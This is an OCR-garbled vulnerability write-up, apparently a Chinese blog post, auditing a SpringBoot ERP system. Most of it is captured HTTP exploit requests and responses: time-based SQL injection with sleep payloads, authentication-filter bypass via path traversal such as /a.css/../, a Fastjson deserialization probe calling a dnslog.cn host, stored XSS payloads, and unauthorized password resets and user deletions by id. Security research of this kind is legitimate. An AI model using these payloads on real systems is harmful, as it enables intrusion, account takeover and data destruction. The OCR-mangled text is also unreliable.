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27| Controller BT, LEIEREFRE, LBl CommonQueryManager 21
— N2 configResourceManager A select /53%, £ apiName, 554

g5 paramterMap,

FEERIE FIT— T

GET : HTTP/1.1 200 :
Juser/list?search="%78%22UserName%22%3A%22)aker%20and%20sleep( 1 0)- +%22%2C%22laginName% Content-Type: application/json; charset=UTF-8

22%3A%23)0ker%22% [D&currentPage=1&pageSize=10 HTTP/1 .1 | Content-Length: 69

Host: 169.254 168 .98:8080 Date: Thu, 03 Jun 2021 06:30:06 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefax72.0 Connection: close

Accept: applicationfjson, textjavascript, ** q=0.01 \

Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 {"code":200 "data"{"page"{"rows"[] "total":0} 'message": "k t"}}

Accept-Encoding: gzip, deflate

%-Requested-With: XMLHttpReguest

Connection: close

Referer: hitp://169.254.168.98:8080/pages/manage/user.ntml

Cookie: Hm_Ivt_1cd9bcbaae133f03a6eb19da579aaba=1622647345 1622684693,
JSESSIONID=5E80D6954CBF 3838A7TD6923B6A 7B
Hm_Ipvt_1cd9bchaae133f03a6eh19dab579aaba=1622684718

b b
v v

0 matches m bJ u lij
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208 bytes | 20,034 millis
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GET

T

/roleflist?search=%78%22name%22%3A%221"%200r%20sI2ep(3)-+%22% rD&cUITENtPage=1&pagesiz
e=10 HTTP/1.1

Host: 169.254 168.98:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv.72.0) Gecko/20100101 Firefox/72.0
Accept application/json, textjavascript, *; q=0.01

Accept-Language; zh-CN zhq=0.8 zh- TW, g=0.7 2h-HI;g=0.5,en-US;q=0.3,2mq=0.2
Accept-Encoding: gzip, deflate

*-Requested-With: XMLHHpRequest

Connection: close

Referer: http://169.254.168.98:8080/pages/manage/role.html

Cookie: HM_vt_1cd9bcbaae 13303a6eb19da6s79aaba=1622647345,16226684699;
JSESSIONID=5E80D6954C8F3838ATDEI23B6ATEBBC2;
Hm_Ipvt_1cdSbcbaae133703a6eb19dass579aaba=1622702998

https://www.cnblogs.com/bmjoker/p/14856437 .html

ype a search term 0 matches

HTTP/1.1 200

Content-Type: application/json; charset=UTF-8
Content-Length: 69

Date: Thu, 03 Jun 2021 06:53:03 GMT
Connection: close

{"code": 200 "data" {"page":{"raws" (] "total". 0} 'message": " 21"}
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14 BRI ILLGS
FEEIDESH BRI @WebFiter BTHTIRE, BIFERURSAI 0N

W, RENESE S

requestUrl FIZNRAZTE / doc.html, /register.html, /login.html FERFL AT
G INIEER

FBIATRNEK url B / doc.html, /register.html, /login.html S5t ] AGEITIA
IE, payload AILUX#EE : /doc.html/../, /registerhtml/../, /login.html/../

1F 2 Sessionid &K :

1 GET V/depot|tem/buyOrSalePrice HTTP/1.1 1 HTTP/1.1 302
2 Host: 169.254 168. 98:8080 2 Set-Cookie: JSESSIONID=389C569A5BDFF08A4DF92153F2544378; Path=/;
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) HttpOnly
Gecko/20100101 Firefox/72.0 # Location: http://169.254. 168. 98:8080/login. html
4 Accept: application/json, text/javascript, */¥; g=0.01 4 Content-Length: 0
5 Accept-Language: 5 Date: Tue, 08 Jun 2021 15:39:45 GMT
zh=CN, zh;g=0. 8, zh—-TW;q=0. 7, zh-HK; g=0. 5, en-US;q=0. 3, en;g=0. 2 6 Connection: close
Accept—-Encoding: gzip, deflate 7
X-Requested-With: XMLHttpRequest 8

Gonnection: close

Referer: http://169. 254 168. 98:8080/home. html

Cookie: Hm_lvt_1cd9bcbaael33f03abeb19dab5793aba=
1622684699‘1622712576‘1622877594‘1623166458i JSESSIONID=;
Hm_Ipvt_1cd%bcbaae133f03abeb19dab579aaba=1623166467

o0 ®-o

SREEOEIERE

HAN payload 183K :

GET /register html/../depot|tem/buyOrSalePrice HTTP/1.1 1 HTTP/1.1 200
Host: 169.254.168.98:8080 2 Set—Cookie: JSESSIONID=CAF9D136341EF159283CBA01E428F848; Path=/; HttpOnl
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:72.0) 3 Content-Type: application/json:charset=UTF-8
Gecko/20100101 Firefox/72.0 4 Date: Tue, 08 Jun 2021 15:40:43 GMT
Accept: application/json, text/javascript, */*; g=0.01 5 Connection: close
Accept-Language: 46 Content-Length: 238
zh=CN, zh;q=0. 8, zh-TW:g=0. 7, zh-HK; g=0. 5, en-US;q=0. 3, en; q=0. 2 7
Accept—Encoding: gzip, deflate 8
X-Requested-With: XMLHttpRequest "code":200
Gonnection: close "data": {
Referer: http://169.254. 168. 98.8080/home. htm! "buyPriceList":[
Cookie: Hm_lvt_1cd?bcbaael33f03abeb19dab579aaba= 0. 000000
1622684699, 1622712576, 1622877594, 1623166458 ;[ JSESSTONID=; ] 0.000000
Hm_lpvt_1cd%bcbaael33f03abeb19datsb7%aaba=1623166467 0. 000000
0000000
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GET /doc. htm!/. . /depotltem/buyOrSalePrice HTTP/1.1

Host: 169.254.168.98:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:72.0)
Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */*: q=0.0
Accept-Language:

zh=CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; g=0. 5, en-US;4=0. 3, en; q=0. 2
Accept—Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Connection: close

Referer: http://169.254. 168. 98:8080/home. htm!

Cookie: Hm_lvt_1cd?bcbaae133f03abeb19dab579aaba=

1622684699, 1622712576, 1622877594, 1623166458 ; |JSESSIONID=;

Hm_lpvt_1cdPbcbaae133f03abeb19dab57Faaba=1623166467

PINGHI A BRINIER L9 O,

SRIOUESE —FIE)

® N s WN =

HTTP/1.1 200

Set—Cookie: JSESSIONID=E5065B1051C8B3766F4395FD41444381; Path=/; HttpOn
Content-Type: application/json;charset=UTF-8

Date: Tue, 08 Jun 2021 15:41:28 GMT

Connection: close

Content-Length: 238

{

|code™ : 200,
fdata": {
"buyPricelList":[
0. 000000
0. 000000
0. 000000,
0000000

BN verify() iR T AR R, 1ERRAYERENIZIEE endsWith() 2]
W url 245 PA. css. .png XETRESGEE, B LEIBREFEREN
FRIATCHIRT. css, .png BFFARIE], SHMENEW: /acss/./, 1H]

RS SNRINTIRE=D

REH
5: Jacss/./, /ajpg/../

F &I Sessionid 353K

E9IESK url B css/.png/ jpg/.ico FhRIIASHIIAIE, payload PJLUXEE

GET
Juser/list?search=%78%22userName%22%3A%22joker%22%2C%22loginName % 22%3A% 220k
Er%22%7D&currentPage=18&pageSize=10 HTTP/1 .1

Host: 169.254.168.98:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv.72 0) Gecko/20100101 Firefax/72.0
Accept: application/json, text/javascript, % q=0.01

Accept-Language: zh-CN zh; g=0.8,zh- TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3,en;q=0 2
Accept-Encoding: gzip, deflate

#-Reguested-With: XMLHttpRequest

Connection: clase

Referer: http://169 254 168 98:8080/pages/manage/user.html

Cookie: Hm_Ivt_1cd9bchaae133f03a6eb19dags79aaba=1622647345 1622684699,
JSESSIONID=; Hm_Ipvt_1cddbcbaas133f03akeb19dass79aaba=1622684718

SR EEMRERSE

JON payload 1&K:

https://www.cnblogs.com/bmjoker/p/14856437 .html

T

HTTP/1.1 302

Set-Cookie: JSESSIONID=20A5F02090DF7CE326B8EBFFFA873504E,; Path=/, HitpOnly
Location: http /1169 284 168.98:8080/agin.html

Cantent-Length: 0

Date: Thu, 03 Jun 2021 07:22:36 GMT

Cannection: close
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‘A%22j-3\<er%22%7D&currEmPagE:1&pageSiZE:m HTTP/M 1

Host: 169.254 168 988080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4, x64, rnv.72.0) Gecko/20100101 Firefox/72.0
Accept applicationfjson, text/javascript, */*, q=0.01

Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Connection: close

Referer: http://169.254 168 .98:8080/pages/manage/user htm!

Cookie: Hm_Ivt_1cd9bcbaae 133703a68b19da6579aaba=1622647345, 1622684699,
JSESSIONID=; Hm_Ipvt_1cd9bchaae 33M03a6eh19dacs79aaba=1622684718

IS BPRINIE A VA ),

HEQUESE =FP1E)

{EF startsWith() 73 A3 AIET url

e = A

EFR

X«

Ja.cssi_fuserflist?search=%76%22userName%22%3A%22jaker%22%2C %2 2loginName%22%3

GET A HTTP/1.1 200

Juser/a png/ Jlist?search=%7B%22userName%22%3A%22joker%22%2C%22loginName%22%3 r Set-Coakie: JSESSIONID=93231FABDG3D26EB6EI07827 15549166, Path=/, HttpOnly

At 22joker%22%7D&currentPage="1&pageSize=10 HTTP/1.1 Content-Type: application/json;charset=UTF-8

Host: 169.254.168.98:8080 Content-Length: 373

User-Agent Mozillafs.0 (Windows NT 10.0; Win64, x64; rv.72.0) Gecko/20100101 Firefox/72.0 Date: Thu, 03 Jun 2021 07:23:39 GMT

Accept: application/json, text/javascript, */*; q=0.01 Connection: close

Accept-Language: zh-CN,zh;g=0.8 zh-TW,q=0.7 zh-HIK;q=0.5 en-Us;q=0.3 en;gq=0.2

Accept-Encoding: gzip, deflate {"code":200,data"{"page"{"rows" [{"description" o, "email’ oe@aq.com” 'id": 132, "isystem":0,"loginName":"joke
¥-Requested-with: XMLHttpRequest ™ orgAbr: AL 2" "urga\d" 14 "orgaUserRelld" 12 "phonenum":"15533388888" "position" "oc<script=alert(1)</scr
Connection: close ipt>" "roleName":" i fabc” "tenantid": 63 "userBIngOrgaDsplSeq" o' "userType" " IFill" "username":"joker"}] "tat
Referer: nttp://169.254.168.96:6080/pages/manage/user.ntmi al"1),"message"" %"}

Cookie: Hm_M_1cd9bcbaae 133f03a6eb19dah579aaba=1622647345,1622684699;

JSESSIONID=, Hm_lpvt_1cd9bcbaae133f03ateb19dag579aaba=1622684718

GET .A HTTPR/1.1 200

Set-Cookie: JSESSIONID=AGEBSC30BBDD3E3ER523FEBA4C16D78D; Path=/, HitpOnly
Content-Type: application/json;charset=UTF-&

Content-Length: 373

Date: Thu, 03 Jun 2021 07:24:48 GMT

Connection: close

{"code"200 "data"{"page" {"rows" [{"description":"ce" "email" »oc@aqq.com","id": 132 "isystem". 0 "loginName" "jokd
1 "orgAbr " fLi92" "orgald": 14, orgaUserRelld" 12,"phonenum":" 15533388888" " position" "uc<script>alert( 1)</scr
ipt>" "roleName":" i abc" "tenantld": 63,"userBingOrgaDsplSeq": o "user Type":" #ll" 'username": "joker"}] "tot

al" 1} "'message""\

=4 A / user/login, /user/registerUser

JITKRORS R, AT LAGER B S RIS FI 1,

SE P AGTIAUEE

ENIR EEOFBARN—F, FRAFEEST, payload ] DAXF
5: Juser/login/../../, /user/registerUser/../../, /v2/api—docs../../

1F & 7T Sessionid 153K :

GET

Juserflist?search=%7B%22userName%22%3A%22joker%22%2C%22loginName % 22%3A% 220k

ert22%70&currentPage=18pageSize=10 HTTP/1 1
Host: 169.254.168.98:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x84, rv:72.0) Gecko/20100101 Firefox/72.0

Accept application/json, textjavascript, ** q=0.01
Accept-Language: zh-CN zh;g=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
Accepl Eﬂmdmg gzwp deflate

https://www.cnblogs. com/bm]oker/p/ 14856437 .html

&  HTTP/11302
Set-Cookie: JSESSIONID=2DASF02090DF7CE32BBEBFFF4873504E,; Path=/, HitpOnly
Location: http /1169 284 168.98:8080/agin.html
Cantent-Length: 0
Date: Thu, 03 Jun 2021 07:22:36 GMT
Cannection: close
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A-RECUESTEI-VITN: XMLHTpREqUeST
Connection: close
Referer http:/169.254 168 .98:8080/pages/manage/user.html
Cookie: Hm_Ivt_1cd9bchaae133f03a6eb19da6s79aaba=1622647345 1622684699,
JSESSIONID=; Hm_Ipvt_1cd9bcbaas1:33f03a6eb19dans79aaha=1622684716

SREE ORI ERSRE

JON payload 1&K:

GET | HTTR/1.1 200

Juser/login/_f_juser/list?search=%7B%22userName %22 %3A%22joker%22%2C%22l0ginName % r Set-Cookie: JSESSIONID=859E 1E374D2560FEBO0B3AT6CAI2DSCE, Path=/, HttpOnly

22%3A%22joker%22% 7D&currentPage=18&pageSize=10 HTTP/1.1 Content-Type: application/json;charset=UTF-&

Host: 169 254 168 98:8080 Content-Length: 373

User-Agent Mazilla/s.0 (Windows NT 10.0; WinG4; x64; rv.72.0) Gecko/20100101 Firefox/72.0 Date: Thu, 03 Jun 2021 07:56:23 GMT

Accept: application/json, textfjavascript, **, q=0.01 Connection: close

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5,en-US;g=0.3 en;q=0.2

Accept-Encoding: gzip, deflate {"code" 200 "data":{"page"{"rows" [{"description": oo "emall" " oo@aag.com" " 132, "Isystem" 0, oginName":"jake
“-Requested-With: XMLHHpRequest ™ "orgAbr"HLE 2" *orgald®: 14 "orgaUserRelld" 12 "phonenum" " 15533386886" "position” “ox<script>alert(1)</scr
Connection: close ipt>","roleName":" f “abc","tenantld" 63 "userBingOrgaDsplSeq" oo "userType":"¥i","username":"joker"}] "tot
Referer: htyp://169.254.168.98:8080/pages/manage/user. ftml al'1} 'message””

Cookie: Hm_Ivt_1cdSbcbaae33f03a6eb19das579aaba=1622647345 1622684699,

JSESSIONID=, Hm_lpvt_1cd9bcbaae 133f03afeb19dat579aaba=1622684718

GET : HTTP/1 .1 200

MN2/api-docs/ [ Juser/list?search=%78%22userName%22%3A%22joker%22%2C%22loginName Set-Caokie: JSESSIONID=078B19BB717A4BD310695B897C3A18C3; Path=/, HitpOnly
%22%3A%22joker%22%7D&currentPage=18&pageSize=10 HTTP/1 1 Content-Type: applicationfisan;charset=UTF-8

Host: 169254 168 988080 Content-Length: 373

User-Agent: Mazilla/5.0 (Windows NT 10.0; WinB4; x64; rv:72.0) Gecko/20100101 Firefax/72.0 Date: Thu, 03 Jun 2021 07:52:23 GMT

Accept: applicationjson, textjavascript, */% q=0.01 Connection: close

Accept-Language: zh-CN,zh;§=0.8 20 TW,q=0.7 zh-HK;q=0.5,2n-US; 4=0.3,2m;0=0.2 !

Accept-Encoding: gzip, deflate {'code" 200, data"{"page"{"rows" [{"description”: oo "emall": eo@aa . com” Mid" 132, "Isystem”: 0, "loginName": "jokg
*-Requested-With: XMLHHtpRequest " "argabr " fLE2" "orgald™ 14,"orgaUserRelld™ 12 "phonenum" " 15533388888" "position” o< script>alert(1)</ser|
Connection: clase ipt=","roleName""#; f1abe" "tenantld":63 "userBlingOrgaDsplSeq" s "user Type" " " "username": "joker"}] "tot
Referer. http://169.254.168.98:8080/pages/manage/user.html al" 1},"message":"

Cookie: Hm_Ivt_1cddbcbaae133f03a6eb19dat579aaba=1622647345 1622684693,

JSESSIONID=, Hm_Ipvt_1cdSbcbaae133f03a6eb19dass79aaba=1622684718

|

RIS RURIAES VR .
l15Fastjson RFFMLFLHIT

FEEITEZHIME LI pomxml J1E T fastjson RIZBAE, FHH 1.2.55 L2 FT
IWIBHIARA . fastjson B9ZOMET AR T fastjson.JSON B9 parseObject BRIELCR
json FREBERFIMANSR, #E—T " parseObject( " -
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parseObject(

TEmE Stk B

Unit unit

Unit unit

JSONObject obj = JSONO I:!_]ect.searr_h}; StringUtil java 217

BREOMA RS, XEE—1 Ut B9, M2 MaotiEizr, Rt

StringUtil java CommonQueryManager.java Q Va serComponent.java

B search FIABEN parseObject 5 iERHITRRNT, 4= "
StringUtil.getinfo( ", FIKTEHENZSENE S rlix
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StringUtil.getinfol

&0 & BR i3

String userName = Julib Mkl search, "userName"); UserComponent java 32

EINEStringUtil.getinfo (IR

tring, String> map) Exception {
stants.
» = StringUtil.getInf

QueryUtils.ro

EIXEHREEFRT, T SQAL FANMREEDITTIXE, search @MBIImEH
RIS, RIS payload:

search={"@type":"java.net.Inet4Address","val":"yvnan3.dnslog.cn"}

url Zgfe—T:
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GET A HTTP/1.1 200
Juserflist?search=2%7h%22%40%74%T79%T0%65%22%3a%22%6a%61%76%6 1% 2e%6e%65% 74 %22%49 i Content-Type: application/jsan;charset=UTF-8
%Ee%E5%T4%34%4 1% 64 %64 %7 2%65%T3% 73%22% 20 % 22% 76 %6 1 %EC% 22%3a% 2 2%E 0% 67 % T T %6a Date: Thu, 03 Jun 2021 12:18:01 GMT
%br%0E% 2e%64% 6% T 3%0C%6M%AT % 2e%63%0e %2 2% Td&currentPage=18&pageSize=10 HTTP/1 .1 Connection: close
Host: 169.254.168.98:8080 Content-Length: 33
User-Agent: Mozilla/s .0 (Windows NT 10.0; Win&4, x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: applicationfjson, textfjavascript, **, q=0.01 {"'msg""&HFHE" "code" 500}|
Accept-Language: zh-CNzh;q=0.8 zh-TW,;q=0.7 zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: hitp:/169.254.168.98:8080/pages/manage/user.html
Cookie: Hm_Ivi_1cd9bchaae133f03a6eb19dac579aaba=1622647345,16226846099,1622T 12576,
JSESSIONID=3CA26FAB501CABEBA51ADCB415C1256C,
Hm_lpwt_1cdSbcbaae133f03ateb19da6575aaba=1622720582
7T 4R B o
Dnslog F&aE2&ULE] 7189153
Get SubDomain || Refresh Record
mgwjoh.dnslog.cn
DNS Query Record IP Address Created Time
mgwjoh.dnslog.cn 58.217.249.143 2021-06-03 20:18:01

RIE LEEHWMNER, search HOEHEZ1x fastjson REFFIMMIRIE.

A LEENERNRST, PIARENGSHAT,

16 72fiEEY XSS

£ Z HIX RS @WebFilter TR, RIDSBEXNENNSEHITHR—RY

xss R, RBPHBHAEIBXNENTR, BnHESBRETIHLILEEEZEEAN
IRER, N TMERRNENE TS ELLIEAN xss payload:
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POST /accountHead/update?id=97 HTTP/1.1 : HTTP/1.1 200

Host: 169.254.168 .98:8080 Content-Type: application/jsan;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv.72.0) Gecko/20100101 Content-Length: 40

Firefox/72.0 Date: Sat, 05 .Jun 2021 02:12:56 GMT
Accept: application/jsan, textjavascript, 7, 9=0.01 Connection: close

Accept-Language: zh-CN zh;gq=0.8 zh-TW:q=0.7 zh-HK;q=0.5 en-US:q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate {"code":200 "data":{"message":"H "]}

Content-Type: application/c-www-form-urlencoded; charsst=UTF-8
*-Requested-With: XMLHttpRequest

Content-Length: 354

Origin: hitp:/169.254.168.98:8080

Connection: close

Referer: http://169.254 168 98:8080/pages/financialfitem_in.htm|
Coolie
Hm_Ivt_1cd9bcbaae133f03a6eb19da6579aaba=16226473
JSESSIONID=7C7 182F5DEF0307TAADEODSCERFF FF;
Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1622859073

5 1622684699,1622712576;

INfo=%7B%22Type%22%3A% 22%EE%94%B6%ES%B5%A5%22%2C % 22BiIIN0%22%3A% 22

SR20191228121609%22%2C%22BillTime%22%3A%222019-12-28%22%2C%22Accountld%

22%3A%2217%22%2C%22ChangeAmount®%22%3A%2210%22%2C% 22 TotalPrice%22%3A

%221D%22%20%22-3rgan|d%22%3A%2258%QQ%QC%QQHandSPEr’SDh\d%22%3A%2216%2

2%2C%22Remark%22%3A%22%E5%A4 %87 %EL%B3%A8 1%3Cimg+src%3Dx+anarrar%3D

alert(1)%3E%22% 7D {"Type""==0T30%" "BilNo" "SR20181228121608" "BillTime";"2018-12-28","Accountld"." 17" "ChangeAmount":"10" " Tol
10","Crganid", “58“,“HandlsFersomd“ 16" "Remark® "a= 02 1<img src=x onerror=alert(1)="

B— NMUEERED:

B AE R TTECIBh I B R T N EUEE.

FERBEE— MEMEUEFREEEURNNRE R BN ETEH T XL
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) String apiName

ErpInfo.

lap, ErpInfo.

BEEREWEMNERM json iEzlaL, SBEIEXINTIRERE, SHEFHE
FHEBL XSS RE

B E S F LR

17 4RI F= 2=
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NN/ AMTXTSLWEEER

FRGEE - BPERd - 2E—THF - B85

# =

= APIE

TERER: FAF#EE:

o 180

[l &F Bl ZI5ER BRgs

Ll 2 Sl jsh Zgp

[ 27 = ZE test123 UHAEF e
L = EiE joker joker fath

MERE R &

1
2
3

4
5

6
7
8
9
0
1
2
3

POST /user/resetPwd HTTP/1.1

Host: 169.254. 168. 98:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:72.0
Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language:

zh=CN, zh;g=0. 8, zh—-TW; g=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en;g=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: &

Origin: http://169.254. 168. 98:8080

Connection: close

Referer: http://169.254. 168. 98:8080/pages/manage/user. html
Cookie: Hm_lvt_1cd9bcbaae133f03abebi19dab57%aaba=

1622647345, 1622684699, 1622712576; JSESSIONID=
7C7182F5DEF0307AAOEODBCG6FFOSAFF ;
Hm_lpvt_1cd9bcbaae133f03abeb19dab579aaba=1622872875

2 WERPER

TFEEM joker

BF#E joker
Hita a2 \
Rtz XX

BXZEBIE 15533388888

EFHFE ox@qqg.com

HE o
k0

\ [P e

HTTP/1.1 200

v 5T

WIHATERD: 123456

& HGE

Content-Type: application/json;charset=UTF-8

1
2
3 Content-Length: 40

4 Date: Sat, 05 Jun 2021 06:02:50 GMT
5 Connection: close

6

7

{
"code":200
"data": {
“message": "FIN"

BHE—THF Id, M UEEZEFP RS

M

N AP T ZASE= B R AT Fh 4 F= 2
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update = . dl id)

(upda

ErpInfo.

ErpInfo.

g md5Pwd, Long id)

ttribut ContextHolder

. getloginName() /7 i S Mid Xt i B
W= 25 5050 e 1 5 £ 1)l oginname |

result

REERXERZEILEE admin BEES, EEHRBNHREERENE-S
I FIT, SEFCONEEMAZL, XERKF—F:
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jsh BP9 id A 63
joker AP XN id 9 132
jsh OB FPAYER > joker RIAX PR

£ joker BFPHIBMAESE jsh BPZY:

1 GET /user/getUserSession HTTP/1.1
2 Host: 169.254. 168. 98:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:72.0)
Gecko/20100101 Firefox/72.0
4 Accept: application/json, text/javascript, */%; g=0.01
5 Accept-Language:
zh-CN, zh;q=0. 8, zh-TW; g=0. 7, zh-HK; q=0. 5, en-US;g=0. 3, en;g=0. 2
&6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 Connection: close
9 Referer: http://169. 254, 168.98:8080/index. htm!
|0|Cookie: Hm_lvt_Tcd9bcbaael33f03abeb19dab579aaba=
1622478154, 1622647126, 1622708697, 1622862087 ; JSESSIONID=
39C27AFC419A185DAATETDY868CTETID2 ;
Hm_lpvt_1cd9bcbaael33f03abeb19dab57%aaba=1622874981

2] 4ok 34508 538)

1 POST /user/resetPwd HTTP/1.1

2 Host: 169.254.168.98:8080

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:72.0)
Gecko/20100101 Firefox/72.0

4 Accept: application/json, text/javascript, */%; g=0.01

5 Accept-Language:
zh—=CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US;g=0. 3, en;g=0. 2

6 Accept-Encoding: gzip, deflate

7 Content-Type: application/x—www—form-urlencoded; charset=UTF-8

8 X-Requested-With: XMLHttpRequest

9 Content-Length: 5

0 Origin: http://169.254. 168. 98:8080

1 Connection: close

2 Referer: http://169.254. 168. 98:8080/pages/manage/user. html

3[Cockie: Hm_lvt_1cd?bcbaael33f03abeb19dab57%aaba=
1622478154, 1622647126, 1622708697, 1622862087; JSESSIONID=
39C27AFC419A185DAATE7D9868C7E1D2;
Hm_lpvt_1cd9bcbaae133f03abeb19dab579aaba=1622874981

4

5 id=63 D1 P joker FH AR 1Y ) 1L 12 . s FE A2 ) T

POST /a.css/../user/resetPwd HTTP/1.1

Host: 169.254.168.98:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:72.0,
Gecko/20100101 Firefox/72.0

4 Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:

zh—CN, zh;¢=0. 8, zh-TW;q=0. 7, zh-HK; 9=0. 5, en-US;g=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 5

w N

o

>0 @ ~ o

n Lii_.//ain AEA 4s0 An.oann

https://www.cnblogs.com/bmjoker/p/14856437 .html

1

2
3
4

5
6
7
8

1 HTTP/1.1 200

2 Content-Type: application/json;charset=UTF-8
3 Date: Sat, 05 Jun 2021 06:37:57 GMT

4 Connection: close

5 Content-Length: 260

6
7
"code":200
"data": {
"user”: [
"id":132,

"username”: " joker"
"loginName":" joker",
“password":null,
"position": "xxx"
“department” :nul |
"email":"xxx@qqg. com",

“phonenum" : "15533388888"

1T HTTP/1.1 200

2 Content-Type: application/json;charset=UTF-8
3 Content-Length: 40

4 Date: Sat, 05 Jun 2021 06:38:10 GMT

5 Connection: close

6
7
"code" :200
"data”: {
"message”: "FRIN"
]

NBLLENEFRNRGY, PIARNBERER, d BERFPEN (EBH id BE
PRBRPEL) .

HTTP/1.1 200

Set-Cookie: JSESSIONID=D494136D9C14ACFBA371AF11FC027F49; Path=/; HttpOnly
Content-Type: application/json;charset=UTF-8

Content-Length: 40

Date: Sat, 05 Jun 2021 06:27:46 GMT

Connection: close

{
"code" :200,
"data": {
"message”: " A"
.
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IV Urigin. nuLp.// 107, £94. 100. 70.0VoU 1
11 Connection: close }
12 Referer: http://169. 254 168. 98:8080/pages/manage/user. html
[3 Cookie:
147
15 id=63

18 EAIER P
SASRIBHORA L — NRERE

ERFEE - BPEEL - BEFE—THP - MBEAPER

[] BE HBPEEE  TESR BEPES st BR{y s
g = EE ceshi ceshi
[ 2 = Td joker joker fafaabc
0 2 = =8 test123 KR HERE
- ' Q) #emmrEES
i
MENER S :

1 POST /user/deletelser HTTP/1.1

2 Host: 169. 254, 168. 98:8080

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:72.0)
Gecko/20100101 Firefox/72.0

4 Accept: application/json, text/javascript, */%; g=0.01

5 Accept-Language:

zh—CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK; g=0. 5, en-US ; g=0. 3, en; g=0. 2

Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form—urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

7 Content-Length: 7

10 Origin: http://169.254. 168. 98:8080

11 Connection: close

12 Referer: http://169.254. 168. 98:8080/pages/manage/user. html

13 Cookie: Hm_Ivt 1cd?bcbaael33f03abeb19dab57%aaba=

1622647345, 1622684699, 1622712576; JSESSIONID=
TCT7T1RZFADFFOZNT7AAOFONACAAFFORAFF -
https://www.cnblogs.com/bmjoker/p/14856437 .html
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20217716 SpringBoot HEZR4EE ERP PG

Hm Ipvt 1ed9bcbhaae133f03abeb19dabs7%aaba=1622875478
14

15 ids=133]

Tgﬂﬁi/\)zﬁ)tl idS, EETL)\% B/\ )Eﬁ)j,flil/u\

HENCIEBEEE S A DA R -

eption{

1t

IR service EEIREE— N batDeleteUser KL

RN ARRTGOES TorREE
TG A HE L A I TED o Bl B T
Na appendy )

TS NSO TORERG

jetReaques

S AL A 7 X IR

.batDeleteOrUpdateUs

tionConstants.
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q

EIWSH ids, £AES, HE, HE userMapperEx.batDeleteOrUpdateUser() 75
B ids SR sql 1IBEEITMINR, XERBEXN HRITHIRA P IRIEBF

SHHMAN, EELERINRBAEER, SHEEONRIERPER (B
EERR), BRI T

ceshi B XTI/ id 9 135
joker B8 ceshi 2K

1 GET /user/getUserSession HTTP/1.1 1 HTTP/1.1 200
2 Host: 169.254. 168.98:8080 2 Content-Type: application/json;charset=UTF-8
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:72.0) 3 Date: Sat, 05 Jun 2021 07:58:26 GMT
Gecko/20100101 Firefox/72.0 4 Connection: close
4 Accept: application/json, text/javascript, */%; g=0.01 5 Content-Length: 233
5 Accept-Language: 6
zh=CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK;g=0. 5, en-US:g=0. 3, en;g=0. 2 7
6 Accept-Encoding: gzip, deflate “code" : 200
7 X-Requested-With: XMLHttpRequest "data": {
g Connection: close "user": {
9 Referer: http://169.254. 168.98:8080/index. html "id":132
10[ Cookie: Hm_Ivt_Tcd9bcbaae133f03abebT19dab579aaba= "username”:"j
1622647345, 1622684699, 1622712576, 1622877594 ; JSESSIONID= ) "loginName
215BASBECOB5CC9 129B4E2BEET24D364 Zifiljokerfil 721 HUE] "password” :n
Hm_lpvt_1cd9bcbaae133f03abeb19dab579aaba=1622879099 "position”:
11| Cache-Control: max—age=0 “department”:null,
1 “email":""

13 “phonenum"” :

1 POST /user/deleteUser HTTP/1.1 1 HTTP/1.1 200

2 Host: 169.254.168.98:8080 2 Content—Type: application/json;charset=UTF-8

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:72.0) 3 Date: Sat, 05 Jun 2021 08:02:25 GMT
Gecko/20100101 Firefox/72.0 4 Connection: close

4 Accept: application/json, text/javascript, */%; g=0.01 5 Content-Length: 33

